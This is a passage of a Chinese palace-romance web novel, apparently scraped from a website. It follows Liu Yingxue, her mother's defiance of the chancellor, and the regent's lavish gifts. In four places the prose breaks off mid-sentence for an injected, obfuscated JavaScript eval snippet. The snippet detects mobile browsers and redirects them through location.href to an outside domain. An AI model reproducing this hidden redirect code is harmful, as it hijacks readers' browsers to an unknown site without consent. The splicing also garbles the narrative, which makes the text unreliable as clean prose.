正说着,外面传来急促的脚步声。 一个丫鬟快步走进来,神色有些慌张:“夫人,门外来了一位自称丞相府的使者。” 母女二人的笑容瞬间凝固。屋内的气氛骤然变得凝重,连丫鬟们也停下了手中的活计,小心翼翼地看着主母。 “娘亲,为何丞相府的人会找来?”柳映雪蹙眉。 朱氏冷笑一声,眼中满是厌恶:“怕是碧玉阁该结账了,如今我们已经搬离了那个地方,府里怕是没银子给那些莺莺燕燕了。”她的声音带着几分讥讽,“以前我傻,被他们哄得团团转,现在可不会再上当了。” “娘亲不会再给他们钱吧?”柳映雪握住母亲的手,生怕她心软。 “放心,娘亲不会再做那等傻事。”朱氏轻抚女儿的手,“以前是为了你将来能攀个好亲事,如今你已被指婚给了权势滔天的摄政王,又何必再管他们死活。” “那要见他们吗?” “见,我倒要看看他们葫芦里卖的什么药。”朱氏冷哼一声,吩咐道,“让他们在前厅等着。” 丫鬟们赶紧收拾起散落的布料。朱氏整理了一下衣裳,带着柳映雪来到前厅。 第二十一章 大夫人的风光 司叔已经在那里等候多时。他看到母女二人的排场,不由得愣了愣。 记忆中的朱氏年轻时也是这般风光,也不晓得是从什么时候开始的,整个人都失去了光彩。如今重见昔日风采,司叔暗叹丞相大人有眼无珠。 “小的拜见大夫人。”司叔恭敬行礼,目光不经意间扫过柳映雪,眼中满是惊艳。 “司叔请坐。”朱氏示意,语气平淡。 “多谢大夫人。”司叔坐下,双手规矩地放在膝上。 “司叔此来何事?”朱氏开门见山地问道,“雪儿身子不适,需要静养,若无要事,还请莫要打扰。” “是是是,大夫人说得对。”司叔连忙道,脸上堆满笑容,“丞相大人挂念大小姐病情,特命老奴来看看清溪居是否妥当。若有什么不便之处,老奴也好回去禀报。” 柳映雪听着这话,嘴角微勾。不愧是老狐狸身边的人,说话滴水不漏。只是这番说辞,怕是连司叔自己都不信吧。 “那司叔也看过了,没什么事就请回吧。”朱氏淡淡道,带着几分不耐,“速速回去禀报丞相大人,我们在这里过得很好,清静自在,再也不会有那些碍眼的闲言碎语,心情也好得很。” 她轻轻抿了一口茶,茶香在唇齿间氤氲。 “大夫人,老奴有要事禀报。”司叔站在堂下。他在相府几十年,从未如此局促不安过。 柳映雪坐在母亲身旁。这个曾经在府中呼风唤雨的老管家,如今也不过是父亲手中的一枚棋子。 “司叔既是有事,不妨直说。”朱氏的声音平静如水。 司叔擦了擦额头的汗,支吾了半天才道:“大夫人,府中这几日...出了些状况。” “哦?”朱氏微微挑眉,目光依旧停留在窗外飘落的梧桐叶上。 “二夫人和二小姐,还有几位姨娘...”司叔吞吐着,“都染上了怪病,面容...面容尽毁。”说这话时,他的目光不住地打量着朱氏的反应。 柳映雪在一旁轻轻勾起嘴角。那些**的效果,果然没让她失望。想起那些人往日里对母亲的嘲讽和刁难,她心中涌起一阵快意。 “司叔此来,想必不只是为了说这些吧?”朱氏淡淡开口。 “是...是的。”司叔深吸一口气,“相爷说,请大夫人交出这个月的银票...” 朱氏放下茶杯,瓷器与桌面相碰,发出一声轻响。“否则?” “否则...就要将大夫人贬为妾室。” 话音刚落,整个厅堂的温度仿佛骤然降低。 柳映雪猛地站起身,玉簪随着她的动作轻轻晃动,发出细微的碰撞声。“父亲这是要与皇命作对?”她的声音里带着刺骨的寒意。 司叔一愣,不明白这话里的深意。 “我可是皇上亲自赐婚给摄政王的未来王妃,”柳映雪冷笑,眼底锋芒毕露,“若是将我娘贬为妾室,那我岂不是成了庶女?让一个庶女嫁给摄政王当正妃,这是要与皇上对着干吗?” 司叔额头的冷汗更甚,他没想到事情会牵扯到皇命。一时间,连呼吸都变得小心翼翼起来。 “司叔,”朱氏忽然开口,声音里带着几分讥讽,“当年我与相爷青梅竹马,他在这院子里对天发誓,要与我白头偕老。如今倒好,为了区区银票,就要将我贬为妾室。” 她站起身,裙摆轻轻拂过地面。“回去告诉相爷,我朱氏虽然失宠,但还不至于沦落到任人拿捏的地步。至于银票...我女儿身子骨弱,需要调养,一文钱也不会给他。” “大夫人...”司叔欲言又止。 “送客。”朱氏转身望向窗外,背影透着说不尽的凄凉。 司叔怔怔地看着朱氏,想说什么却终究没说出口。他在府中几十年,第一次从这位往日温婉的大夫人身上,感受到了刺骨的寒意。 待司叔离开后,柳映雪轻轻握住母亲的手,“娘,你没事吧?” 朱氏摇摇头,眼中满是疲惫,“若不是为了你还未出嫁,娘真想立刻和离。” 柳映雪心中一痛。她永远记得自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505487|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己病重时,那些人幸灾乐祸的嘴脸。如今她重获新生,就是要让所有伤害过她们母女的人,付出代价。 “娘,你放心,等我嫁入摄政王府,一定会让父亲后悔今日的所作所为。”柳映雪轻声说道。 朱氏转头看向女儿,目光中满是心疼。她伸手轻抚女儿的脸庞,“映雪,你要记住,做任何事都要留一分余地。” 柳映雪握住母亲的手,“娘,我明白。” “雪儿,你别担心。”朱氏察觉到女儿的目光,抬起头来,唇角勾起一抹温柔的笑意,“我不会这么快和离的。起码得等你成家立业以后再说,有了摄政王做靠山,我才会考虑这件事。” “娘亲......”柳映雪握住母亲的手,指尖传来的温度让她心头一酸,“我支持你!柳丞相根本配不上您。” 朱氏轻笑出声,伸手抚上女儿的脸颊:“傻孩子,和离之后娘就一个人过,哪还能再嫁?只要你过得好,娘就心满意足了。” “为什么不能再嫁?”柳映雪不服气地撅起嘴,眼中闪烁着倔强的光芒,“天下好男儿多的是,总能遇到真心待您的人。” 朱氏的手指轻轻梳理着女儿的发丝,语气温柔却坚定:“现在不说这些,眼下最重要的是把你的身子养好。” 柳映雪低下头,手指无意识地绞着衣角。在这个时代,男人三妻四妾天经地义,女人却连想都不能想其他男人。可惜她现在势单力薄,只能暂时忍耐。 与此同时,司叔正匆匆赶回丞相府。他的脚步声回荡在空旷的走廊上,显得格外急促。 推开书房的门,他将母女二人的话一五一十地转述给柳丞相。 “砰!”一个精致的青花瓷茶杯摔在地上,碎片四溅。 柳丞相面色铁青,胸口剧烈起伏。又是一个茶杯被他狠狠摔在地上,发出清脆的碎裂声。 “大胆!”他咬牙切齿,“一个妇道人家,竟敢威胁本相!” 司叔站在一旁,低着头不敢作声。书房内的气氛凝重得令人窒息。 第二十二章 深夜幽会 柳丞相来回踱步,眼中闪过阴晴不定的神色。他心知肚明,女儿说得对。 若是他真敢对付朱氏,别说皇上不会答应,就是那位连皇上都不放在眼里的摄政王,恐怕也会让丞相府吃不了兜着走。 最后,他只能强压下怒火,让司叔通知二夫人,往后咱们家里得紧着点儿过日子。 二夫人的闺房内,烛光摇曳。听完司叔的话,她整个人都傻了,精心描画的眉毛都皱到了一起。 “老爷就这些吩咐?”她不死心地追问,手指紧紧攥着手帕。 “是的,二夫人。”司叔恭敬地回答。 “那大夫人呢?”二夫人猛地站起身,声音里带着几分尖锐,“不是说要贬为妾室吗?” 司叔摇头:“不过就是家里长辈的几句气急败坏的话罢了,怎么可能真的这么做。” 二夫人浑身一颤,踉跄着后退几步,跌坐在椅子上。她把私房钱都拿出来了,竟然还是没能把朱氏赶下去。她咬着下唇,指甲深深掐进掌心。这可如何是好?府中那点银子,哪够她和儿女们挥霍的。 夜色渐深,摄政王府灯火通明。 “王爷,华神医送来了压制毒性的药。”绿竹站在书房外,声音恭敬地传进来。 萧寒瑾放下手中的奏折。 他曾那么信任华神医,视他如师长,没想到对方最后也背叛了他。若不是想看看这老匹夫到底想耍什么把戏,他早就动手了。 “把药端进来。”他淡淡开口,声音里听不出任何情绪。 绿竹小心翼翼地端着药碗进来,将其放在案几上。他看了眼自家主子阴沉的脸色,忍不住小声嘀咕:“要是柳大小姐在就好了,她一定能看出这药有什么问题。” 萧寒瑾眼前一亮。这倒是个不错的借口。 他看了看天色,等到夜幕完全降临,才拿起药碗,几个起落消失在夜色中。 柳映雪刚支走丫鬟,准备进入空间,就感觉到一股强大的气息靠近。她的心跳微微加快,悄悄握住藏在袖中的**,警惕地等待着。 突然,一阵凉风拂过,烛火剧烈晃动,窗外传来一个熟悉的声音。 “柳大小姐,这么晚了还不休息?” 她蹙眉看向窗外,果然是那个让她头疼的男人。 萧寒瑾站在窗边,月光为他镀上一层银辉,衬得那张俊美的脸更显得妖异。他身着一袭墨色长袍,腰间系着玉带,整个人散发着一种难以言喻的贵气。 “王爷深夜造访,未免太过失礼了些。”柳映雪淡淡道,手中的梳子却不自觉地握紧了几分。 “让我进去说话如何?”萧寒瑾唇角微扬,“总不能让我一直站在窗边,若是被人看见了,对你的名声可不好。” 柳映雪无奈地叹了口气,只得侧身让出位置。萧寒瑾身形一闪,已然进了屋内。他的动作轻盈得如同一片落叶,若不是衣袂带起的微风,几乎让人察觉不到他的移动。 窗外的树上,绿竹看得目瞪口呆。他原本是奉命跟着王爷的,没想到会看到这样的一幕。王爷居然半夜来找未来王妃? 难怪之前不让他把药倒掉,原来是要来问王妃。绿竹暗自点头,觉得自己参透了真相。 屋内,柳映雪放下梳子,转身面对萧寒瑾。烛光在她清丽的面容上跳动,映出一双清澈的眸子。 “王爷带来的这药有问题。”她皱眉道,“里面加了能引发你毒发的药材。” “哦?”萧寒瑾眼中满是赞赏,“不愧是我看中的王妃,光凭气味就能分辨出药材成分。” “谁是你的王妃?”柳映雪冷哼一声,指尖在桌面上轻轻敲击,“我还未及笄,更没答应要嫁给你。” “皇上已经下了赐婚圣旨。”萧寒瑾走近一步,若有若无的檀香随着他的靠近飘散开来,“你我的婚事已成定局。” “摄政王向来不把皇上的圣旨放在眼里,怎么这次倒是这般遵旨?”柳映雪不甘示弱地迎上他的目光。 萧寒瑾轻笑,修长的手指抚过桌上的茶具:“因为这道圣旨正合我意。雪儿,你说是不是?” “谁允许你这么叫我的?”柳映雪心头一颤。 “那该如何称呼?”萧寒瑾在桌边坐下,自顾自倒了杯茶,动作优雅从容,“总不能一直叫柳大小姐吧。不如你也叫我阿瑾?” 茶香袅袅升起,柳映雪看着他熟稔的样子,心中不禁有些恼怒。这个男人总是这样,明明是个不速之客,却能让自己无可奈何。 “说吧,这药的事情要如何处置?”她指着桌上的药碗,转移了话题。 萧寒瑾收起玩笑的神色:“有人想要我的命,自然要付出代价。”他的声音依旧温和,却带着不容置疑的冷意。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505488|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >柳映雪看着他的侧脸,突然开口:“王爷的轻功真好,能教我吗?” 萧寒瑾挑眉,有些意外地看向她:“对武功感兴趣?” “嗯!”柳映雪眼中闪着光,“我听说江湖中有很多武功秘籍,王爷一定有吧?” 看着她难得露出小女儿姿态,萧寒瑾心中一软。平日里的柳映雪总是太过沉稳,眼中常带着说不清的哀愁,此刻的天真模样反倒让他觉得舒心。 “若是你愿意,我可以教你。”他轻声道,“不过,你得答应我一个条件。” 柳映雪警惕地看着他:“什么条件?” “以后别叫我王爷了,”萧寒瑾站起身,向她走近一步,“叫我阿瑾。” 月光透过窗棂洒落,在地上投下斑驳的影子。柳映雪后退一步,却撞上了身后的桌案。她抬头看着近在咫尺的男人,心跳不自觉地加快。 “王爷!”她刚开口,就被打断。 “叫阿瑾。”萧寒瑾的声音带着几分诱哄,“就这么简单的条件。雪儿既然喜欢武功,这几本秘籍便送你了。”萧寒瑾的声音温和,带着几分宠溺。 他修长的手指轻轻抚过书页,“若有不懂之处,随时可来问我。” 柳映雪瞪大了眼睛,心中惊讶不已。她下意识地捏紧了手中的茶盏,温热的触感让她确定这不是在做梦。武功秘籍向来珍贵异常,寻常人家能有一两本便是天大的机缘,这位王爷竟说要送她好几本? 烛光映照下,萧寒瑾的侧脸愈发深邃。他穿着一袭墨色长袍,衣襟上绣着暗纹,在光影交错间若隐若现。 “王爷,这...这太贵重了。”柳映雪放下茶盏,指尖微颤。她忍不住打量着对面那张俊美无双的脸庞,越看越觉得晃眼。这样一个妖孽,该不会是在哄骗于她吧? 似是看出她的疑虑,萧寒瑾轻笑一声,眼角眉梢都染上了笑意:“明早我便让绿竹送来。顺便,再挑些摄政王府的珍玩赠你。”他的语气轻松。 “王爷客气了,”柳映雪连忙摆手,茶盏中的水面微微荡漾,“我只缺武功秘籍,这事儿没必要多说了。”她抿了抿唇,心想这人怎么这般大方,难不成这些秘籍有什么问题? “这如何使得,”萧寒瑾神色认真,眸光灼灼,“皇上已下了赐婚圣旨,若我连些许表示都无,外人怕是要说闲话。”他的声音不疾不徐。 第二十三章 秘籍到手 柳映雪看着他执着的模样,只得无奈妥协:“随你安排便是,只是莫要太过招摇。”她低头抿了口茶,试图掩饰内心的忐忑。 萧寒瑾嘴角微抽。这丫头怕是还不知道,她早已成了京城最热门的话题人物。 十个人里有九个都在谈论这位死而复生的柳府大小姐,剩下那个,还是个聋子。 夜风徐徐,吹动窗纱。烛火摇曳间,两人的影子在墙上交错,拉出长长的痕迹。 见时候不早,萧寒瑾起身端起案几上的药碗:“你早些休息,我先告辞了。”他的动作优雅从容,举手投足间尽显王者风范。 他走到窗边,回头看了眼仍在悠然品茶的柳映雪,无奈摇头:“雪儿,我走了。” 柳映雪翻了个白眼,心道:走就走呗,磨磨唧唧的做什么。这人怎么这般黏人,难不成是担心她会跑了不成? 突然想起明日要收秘籍,她唤住正欲离去的萧寒瑾:“等等。” 萧寒瑾眸光一亮,转身时衣袂翩跹,像是晓日里最后一片飘落的梨花。他以为小姑娘终于懂得送别之情,嘴角不自觉地勾起一抹笑意。 柳映雪借着衣袖遮掩,从空间中取出一小瓶药丸。玉瓶通体晶莹,在烛光下泛着淡淡的光晕:“这是改善体质的药丸,虽不能解你身上二十种毒,但压制还是绰绰有余。比上次那颗效果更好,每日一粒便是。就当谢你的秘籍了。” 萧寒瑾眼中笑意更浓,接过玉瓶时指尖微微发烫:“原来雪儿是担心我的身子。多谢了,明早便让绿竹送来秘籍。” 说罢,他轻点脚尖,身形如燕,转眼便消失在夜色中。只留下一阵清风,掀起窗边的纱帘。 柳映雪望着他离去的背影,眼中满是羡慕。她伸手拂过桌上的秘籍,心想等她把身子养好,也要好好练武,学得这般轻功才是。 回到摄政王府,萧寒瑾直接去了书房。 “绿竹。”他的声音低沉,在夜色中格外清晰。 “王爷有何吩咐?”绿竹从暗处现身,恭敬应道。 “去密室取来第二层第二格的书籍。”萧寒瑾坐在书案前,手中把玩着那个装着药丸的玉瓶。 绿竹很快取来六本书,却在听闻要送给柳大小姐时,面露焦急:“王爷,这可是您多年珍藏...”他的声音中带着明显的不舍。 “照我说的做。”萧寒瑾抬手打断,目光落在窗外的月色上,“明日一早送去清溪居。至于库房的珍玩...”他沉吟片刻,“我亲自去挑选。” 绿竹虽有万般不舍,却也只得应命。他看着自家主子的背影,心中暗叹。这些年来,王爷从未对哪个女子如此上心过。 书房内,萧寒瑾取出一颗药丸,放在鼻端轻嗅。淡淡的药香中带着丝甜味,这是只有柳映雪的丹药才会有的特殊气息。他轻轻含入口中,任由药力缓缓散开。 清晨的阳光洒进摄政王府,萧寒瑾站在铜镜前,指尖轻抚着衣襟上的暗纹,眸光微动。镜中人一身玄色锦袍,衬得面容愈发清冷。 “王爷,您这么早就起了?”高嬷嬷端着洗漱用具进来,看到已经穿戴整齐的萧寒瑾,不由得一愣。 “嗯。”萧寒瑾淡淡应了一声,目光落在窗外的晨曦中,“去库房。” 高嬷嬷眼中诧异,却也不敢多问。自打王爷的母妃去世后,这位年轻的摄政王便很少过问府中琐事,今日这般反常,着实令人意外。 库房里,白公公正带着小厮们清点物品。听到脚步声抬头,看到是王爷亲临,慌忙跪下行礼:“老奴参见王爷。” “起来吧。”萧寒瑾目光扫过四周堆积如山的珍玩,“本王要挑些礼物。” 白公公一边引路一边偷瞄着王爷的神色。他跟随王爷多年,还是头一次见王爷亲自来库房挑选礼物。莫非是为了那位... “这个玉簪如何?”萧寒瑾拿起一支碧玉雕琢的凤钗,在阳光下细细端详。 “回王爷,这支凤钗是上个月刚从江南运来的,玉质温润,雕工精湛。”白公公连忙解释。 萧寒瑾点点头,将凤钗放入托盘,又拿起一串珍珠项链。珍珠圆润饱满,在晨光中泛着柔和的光泽。他的指尖轻轻抚过珍珠表面,仿佛能看到它戴在那人白皙的颈项上的模样。 “这串珍珠也不错。”他轻声说。 白公公看着王爷认真挑选的模样,眼中了然。 这些年来,王爷从未对任何女子动过心,如今却为一个姑娘亲自挑选礼物,想必是动了真情。 一件件精美的物品在萧寒瑾手中停留,有的被放入托盘,有的则被重新搁置。 不知不觉间,地上已经堆满了礼物。金玉珠宝、绫罗绸缎、名贵香料、精美首饰...应有尽有。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505489|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王爷,这些够了吗?”白公公小心翼翼地问道。 萧寒瑾环视一圈,眉头微蹙:“再找找。” 库房里的下人们面面相觑,却不敢说什么。直到太阳升到正空,萧寒瑾才停下挑选。 绿竹赶着马车来接应时,看到门口堆积如山的礼物,不禁瞪大了眼眼睛:“王爷,这...这得用多少马车才装得下?” “四辆够吗?”萧寒瑾淡淡问道。 “够...够了。”绿竹咽了咽口水,“不过王爷,这是不是太多了?” 萧寒瑾看着装满四辆马车的礼物,嘴角微微抽搐:“有吗?本王觉得每样都很适合雪儿。” “三皇子给柳二小姐下聘时,也就送了一车礼物...”绿竹话没说完,就对上了王爷冷冽的目光。 “什么?”萧寒瑾眉头一皱,语气陡然冷了下来,“三皇子已经送过礼了?为何不早说?” 绿竹缩了缩脖子:“属下是想说礼物太多...” “无妨。你带着这些礼物,从柳府门前经过。让全京城的人都看看。” “是。”绿竹应声,心中暗暗叹息。这位向来清冷自持的王爷,也有如此孩子气的一面。 马车队浩浩荡荡驶出摄政王府,沿着街道缓缓前行。四辆装满珍宝的马车,每辆都由四匹骏马拉着,车厢上还覆盖着绣着摄政王府徽记的锦缎。如此排场,自然引得路人纷纷驻足观望。 “这是摄政王府的马车,送这么多礼物去哪儿?” “莫非是给太傅府的秦玉华小姐?听说柳小姐貌美如花,才情出众。” “也是,秦小姐可是京城四美之首,配得上摄政王。” 街边茶楼里,食客们议论纷纷。有人说这是摄政王要纳妾,有人说是要提亲,各种猜测层出不穷。 太傅府内,秦玉华正坐在窗前发呆。得知即将被赐婚给三皇子,她心中满是愁绪。虽说三皇子风度翩翩,但她心里一直惦记着那个清冷孤傲的身影。 “小姐!小姐!”丫鬟急匆匆跑来,“摄政王府的马车往这边来了,带着好多礼物!” 秦玉华眼前一亮,急忙起身梳妆打扮。她对着铜镜仔细描眉画眼,又换上一身淡粉色的裙装。 秦帝师和秦父闻讯赶来,看着兴奋的秦玉华,不禁暗自摇头。他们都知道女儿对摄政王的心思,可惜... 第二十四章 摄政王府的聘礼 马车停在府门前,绿竹从车上跳下,朝着秦帝师拱手行礼:“见过帝师大人。” 秦帝师正要开口,却见绿竹已经抢先说道:“请恕属下冒犯,王爷还有要事交代,在下先行告退。”话音未落,马车队伍已经绕过府门,扬长而去。 寒风中,秦帝师的脸色一阵青一阵白。他虽未开口,却觉得颜面尽失。身为帝师,何曾受过这等轻慢? “关门!都给我回府!”他怒喝一声,声音在空旷的院落中回荡。 站在廊下的秦玉华如遭雷击,一双美目呆呆地望着远去的车队。她原以为摄政王是专程为她而来,没想到竟是这般结果。寒风吹过,她不由得打了个寒颤,却不知是因为天寒,还是心寒。 一旁的小丫鬟低着头,恨不得把自己缩成一团。“小姐,都怪奴婢误传消息,害得您......” “住口!”秦玉华厉声打断,声音里带着前所未有的冰冷。 她是京城四美之首,何曾受过这等羞辱?那些礼物竟是要送给别人的,而她方才还满怀期待地站在这里,像个笑话一般。 “华儿,快回房去。”秦帝师沉声道,“府门口不是你该待的地方。” 秦玉华站在原地,纤细的身子微微颤抖。片刻后,她忽然开口:“祖父,我愿意成为三皇子的王妃。” “你说什么?”秦帝师以为自己听错了,转身望向孙女。 “我说,我愿意成为三皇子的王妃。”她的声音更加坚定。 秦帝师大笑起来,方才的怒气一扫而空:“好!不愧是我秦谦的孙女,懂得明辨大势。” 一旁的秦远也露出欣慰的笑容。他原本还在为如何说服女儿而发愁,没想到她竟主动提出来了。 秦玉华勾起唇角,眼底却是一片冰冷。既然无缘得到心仪的郎君,那就要嫁给最有权势的人。待到三皇子登基,她便是一国之母。到那时,区区摄政王又算得了什么? 与此同时,绿竹带着车队继续在街道上前行。身后的议论声渐起,原来这些礼物是要送给柳府的大小姐,而不是秦家的四美。 消息像长了翅膀一般,很快传到了丞相府。 “四大车的礼物?”柳丞相坐在书房里,搓着手,眉开眼笑。府中正缺银两,这可真是瞌睡来了送枕头。 老太君闻讯匆匆赶来,连腿疼都顾不上了。她扶着丫鬟的手,气喘吁吁地问:“可是真的?” “是啊,母亲。”柳丞相连忙起身搀扶住她,“您慢些,当心脚下。” 二夫人和柳书兰站在一旁,对视一眼,眼中闪过贪婪之色。她们心中打着如意算盘:反正柳映雪不在府中,这些好东西自然该由她们先挑选。 暮色四合,柳府大门前,丞相柳阳昭带着二夫人和二小姐焦躁地等待着。 “怎么还不来?”二夫人白氏不耐烦地跺了跺脚。她身边的柳书兰也是一脸不耐。 远处传来一阵整齐的马蹄声,由远及近。众人精神一振,只见摄政王的贴身侍卫绿竹骑着一匹骏马当先而来,身后跟着四辆装得满满当当的马车,每辆马车都由两名侍卫严密护送。 “天啊,这么多东西!”二夫人眼睛发亮,声音都有些发颤。 柳书兰站在一旁,指甲深深掐进掌心。三皇子给她的聘礼连一辆马车都没装满,而柳映雪却得到四车礼品。 她暗暗咬牙,心中已经打定主意,待会一定要挑最好的留给自己。 马车缓缓停在府门前,绿竹利落地翻身下马,拱手行礼:“末将参见大人。” “快请进,府门已开。”柳丞相满脸堆笑,连声招呼。 绿竹却纹丝不动,面色恭敬中带着疏离:“回禀丞相,王爷命我送礼给柳大小姐。只是属下一时糊涂,差点忘了大小姐已搬去清溪居。既然遇见丞相,打个招呼后属下便去清溪居送礼。王爷交代的事不敢耽搁,先告辞了。” 话音未落,绿竹已经翻身上马。马队调转方向,扬长而去,留下一地尘土。 柳丞相脸上的笑容凝固了,仿佛被人当面打了一记耳光。 这分明是故意羞辱!他愤怒地甩袖转身,吩咐关闭府门,大步往内院走去。 二夫人和柳书兰面面相觑,急忙小跑着跟上。 “老爷,这是什么意思?”二夫人气喘吁吁地追在后面,声音尖利,“给大小姐的东西,为何不能送到府上?妾身可是这府里的当家主母啊!” 柳丞相冷哼一声,脚步不停。 “一定是大小姐指使的!”二夫人继续煽风点火,“大夫人也不劝着点,这不是存心让老爷难堪吗?” 柳丞相怒火中烧,正要说出“贬为妾室”的话,却又生生咽了回去。现在的局势,已经不是他能随意处置大夫人的时候了。 老太君早在前厅等得心急如焚,听到脚步声立刻迎了出来。见他们空手而回,立刻问道:“东西呢?摄政王府的聘礼呢?” “母亲,他们说雪儿不在府上,便直接送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505490|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去清溪居了。”柳丞相垂着头,声音低沉。 “什么?”老太君双目圆睁,身子一晃,“那丫头住什么清溪居!我的东西...我的...”话未说完,便晕了过去。 府中顿时乱作一团,丫鬟婆子手忙脚乱地搀扶老太君,二夫人在一旁假意惊呼。柳书兰站在角落。 与此同时,茶楼二楼雅间。 “三哥,九皇叔出手果然阔绰。”萧生玉望着远去的马车,若有所思地说道。 三皇子轻摇折扇:“里面是什么还不知道。况且,九皇叔会娶我退过婚的女子?” “三哥莫要大意,那柳映雪自从"死而复生"后,确实诡异得很。”萧生玉压低声音,“属下派人暗中打探,发现她举止言谈与从前大不相同。” “不过一个弱女子罢了。”三皇子眼中闪过寒光,手中折扇猛地合拢,“若真碍事,除掉便是。说不定九皇叔还会感激我们替他解决麻烦。” 三皇子端着茶盏的手微微一顿,茶水在盏中晃荡。他抬眼看了看萧生玉,又低下头去:“父皇今日又提起了秦玉华的事。” “秦家的事?”萧生玉在三皇子对面坐下,给自己倒了杯茶,“我记得帝师不是已经为你们请求赐婚了吗?” “赐婚?”三皇子冷笑一声,将手中的茶盏重重放在桌上,茶水溅出几滴,“一个对九皇叔痴心妄想的女人,也配做本皇子的正妃?” 萧生玉看着茶盏中荡起的涟漪,轻声道:“三哥,你不是一开始觉得秦玉华还不错吗?” “那是以前!”三皇子猛地站起身来,在庭院中来回踱步,月光下他的身影显得格外焦躁,“你是不知道,她整日里对九皇叔献殷勤,让整个京城都知道她对九皇叔的心思。这种女人,也配...” “三哥!”萧生玉打断了他的话,“现在最重要的不是秦玉华对谁有心思,而是帝师的态度。” 三皇子停下脚步,转身看向萧生玉。 “三哥,你想想,帝师门下弟子遍布朝堂,他的势力有多大?”萧生玉站起身,走到三皇子身边,压低声音道,“娶了秦玉华,就等于拉拢了整个文官集团。这对你来说,难道不是一个千载难逢的机会吗?” “况且,”萧生玉继续道,“就算你不喜欢她,也总比让她嫁给九皇叔强吧?” 三皇子眼中流露出精光:“你说得对,不过就是府里多养一个闲人罢了。”他理了理衣袍,“我这就去见母后,让她尽快请父皇下旨。” 第二十五章 四车礼品 与此同时,柳映雪的清溪居外,一队人马正缓缓而来。 绿竹站在最前面,手中小心翼翼地捧着几本书籍。身后跟着四辆装满礼物的大车,在月光下投下长长的影子。 清溪居的管家远远看到这阵仗,连忙迎了上来:“绿侍卫,这是...” “司管家,”绿竹微微躬身,“我家王爷给小姐送了些礼品来。” 管家闻言,立刻转身进院通报。不多时,柳映雪和朱氏一同来到院门。 看到门外的阵仗,柳映雪愣住了。她记得自己只是随口向萧寒瑾提了几句,想要几本武功秘籍而已,没想到他会派人送来这么多东西。 绿竹上前几步,将手中的书籍恭敬地递了过去:“这是王爷特意为小姐准备的。” 柳映雪接过书,注意到绿竹看向这些书籍时那种近乎虔诚的眼神,不由得挑眉问道:“你可真是个书迷,这几本书明显是你的珍藏?” 绿竹张了张嘴,似乎想说什么,但最终还是摇了摇头。 柳映雪暗自好笑,这些秘籍想必来历不凡,萧寒瑾为了得到它们怕是费了不少功夫。她随手翻开一本,只见纸张已经泛黄,但字迹依然清晰,显然是被人精心保存过。 朱氏看出了绿竹的欲言又止,温声问道:“这些礼物都是王爷亲自挑选的?” 绿竹眼前一亮:“正是!王爷今早特意起了个大早,亲自去库房挑选。”他顿了顿,又补充道,“这还是第一次呢。” 柳映雪手上的动作一顿,有些意外地看了眼那些礼物。堂堂摄政王居然会为了给她准备礼物而亲自早起?这个认知让她心头泛起一丝异样的感觉。 朱氏看着女儿发愣的样子,嘴角勾起一抹意味深长的笑意。她转头吩咐道:“把东西都搬到雪儿隔壁的厢房吧,让她好好看看王爷的心意。” 等下人们都忙完退下,柳映雪才小声问道:“娘,为什么不直接放库房?这么多东西,放厢房太挤了。” 朱氏伸手抚了抚女儿的发,语气温柔:“傻孩子,这是人家的一片心意,你总该好好珍惜。放在身边,时时刻刻都能看到,不是更好吗?” 柳映雪若有所思地点点头。虽然她对男女之情一窍不通,但也明白该如何回应他人的好意。“我知道了,我也会准备些礼物回礼的。” 朱氏看着女儿认真的模样,心中欣慰。她的女儿从小就聪明伶俐,只是在感情方面总是迟钝了些。如今看来,也终于开始懂得体会他人的心意了。 绿竹将四车礼品安置妥当,向柳映雪躬身告辞。他的身影渐渐消失在庭院深处,留下一地斑驳的树影在微风中轻轻摇曳。 柳映雪倚在厢房门框上,目光若有所思。这位高高在上的摄政王,竟然如此大费周章地送来这些礼品,不知其中又有什么深意。她抬手轻抚额角,昨夜与萧寒瑾对弈到深夜,此刻还有些倦意。 “你们几个在外面守着,没有我的吩咐,谁也不许进来。”她转头对着身后的四个丫鬟吩咐道。 “是,小姐。”丫鬟们齐声应道,恭敬地退到院中。 